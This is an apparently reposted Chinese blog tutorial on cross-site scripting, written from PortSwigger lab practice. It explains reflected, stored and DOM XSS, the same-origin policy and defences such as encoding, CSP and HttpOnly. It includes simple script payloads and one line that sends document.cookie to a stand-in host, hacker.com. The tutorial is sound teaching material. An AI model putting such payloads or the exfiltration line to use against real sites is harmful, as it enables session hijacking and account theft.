通过 PortSwigger 靶场的实操和底层原理的推敲,我彻底搞懂了 XSS 的本质:它其实是“数据库注入”在浏览器端的翻版。
一、 什么是 XSS?
XSS 的全称是跨站脚本攻击。它的核心原理可以总结为一句话:网站把用户输入的“数据”,当成了“代码”去执行。
这和 SQL 注入的本质完全一样,只不过:
SQL 注入骗的是数据库,让数据库执行恶意的 SQL 语句。
XSS 骗的是用户的浏览器,让浏览器执行恶意的 JavaScript 代码。
二、 XSS 的底层运行机制(为什么能执行?)
网页中的特殊字符(如 < 和 >)是拥有特权的,它们用于定义 HTML 标签。当后端程序员把用户的输入直接拼接到网页源码中,且没有做任何处理时,漏洞就产生了。
例如:
我输入了<script>alert(1)</script>。
后端原样拼接到网页:<h1>搜索结果:<script>alert(1)</script></h1>
浏览器看到<script>,以为这是正规代码,立刻执行,于是弹窗。
三、 XSS 与同源策略的攻防博弈
浏览器不是有同源策略(Same Origin Policy)吗?同源策略规定 A 网站的代码不能读取 B 网站的数据,那 XSS 为什么还能偷走用户的 Cookie?
深入研究后我发现,同源策略的核心是“防读不防写”:
内部豁免:黑客将恶意代码注入到了银行网站(bank.com)内部。因为代码是在银行页面执行的,它读取本网站的 document.cookie 完全合法(同源)。
跨域发送:拿到 Cookie 后,黑客用 fetch('http://hacker.com/steal?data=' + document.cookie) 将数据发送出去。浏览器允许跨域发送请求(不允许读取跨域响应),所以数据成功流出。
四、 XSS 的三大型态
-
反射型 XSS:恶意代码通过 URL 参数传入,服务器原样返回。需要诱导受害者点击恶意链接。
-
存储型 XSS:恶意代码被存入数据库(如评论区)。所有访问该页面的用户都会中招,危害极大,属于“被动攻击”。
-
DOM 型 XSS:漏洞完全发生在前端 JS 解析时,后端服务器并未参与。
五、 防御策略
-
HTML 实体编码:把
<转义成<,把>转义成>,让浏览器把它们当纯文本看,而不是代码。 -
CSP(内容安全策略):限制网页只能加载和运行哪些来源的脚本。
-
HttpOnly 标志:给 Cookie 加上 HttpOnly,禁止 JS 代码读取 Cookie。
六 、存储型 XSS(Stored XSS)
1. 什么是存储型 XSS?
一句话概括:恶意代码被永久保存在了服务器的数据库里,只要有人访问该页面,代码就会在受害者的浏览器中自动执行。
2. 它的攻击流程是怎样的?(案发现场还原)
-
注入:攻击者在网站的留言板、评论区或用户资料里,提交了一段恶意代码(比如
<script>alert(1)</script>或<img src=1 onerror=...>)。 -
存储:网站的后端程序没有对数据做任何过滤,直接把这段代码存进了数据库。
-
触发:受害者(或者管理员)打开了这个带有评论的页面。
-
执行:服务器从数据库读出这段代码,拼接到网页里发给受害者,受害者的浏览器直接将其当作代码执行。
3. 为什么它比反射型 XSS 更可怕?
-
反射型(Reflected XSS):黑客必须把恶意链接发给受害者,骗受害者点一下才能触发(需要社工)。
-
存储型(Stored XSS):黑客发完评论就去睡觉了。所有点开这个网页的人(包括管理员),都会自动中招。不需要任何交互,堪称“被动攻击”的大杀器。
-
蠕虫效应:如果这是一个社交网站,恶意代码会随着用户的浏览、转发自动传播,形成 XSS 蠕虫(比如早年著名的新浪微博蠕虫事件)。
4. 黑客图什么?(危害)
-
盗取 Cookie(Session 劫持):利用
document.cookie偷走受害者的登录凭证,然后黑客直接登录受害者的账号,不需要密码。 -
伪造请求:利用受害者的身份,自动执行转账、改密码、发垃圾帖等操作。
-
钓鱼/挂马:篡改页面内容,伪造一个登录框,骗受害者输入密码。
5. 如何防御?
-
输入过滤与转义(最核心):后端在接收输入时(或者前端在渲染时),必须将用户输入的数据当成纯文本对待。把
<转义成<,把>转义成>,让浏览器把它们当成普通文字显示,而不是代码。 -
HttpOnly Cookie:给 Cookie 加上
HttpOnly属性,这样哪怕黑客成功注入了 JS 代码,也无法读取 Cookie。 -
CSP(内容安全策略):通过设置 HTTP 响应头,限制网页只能执行来自本站的脚本,禁止执行内联的
<script>脚本。
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/qq_74160210/article/details/170037447



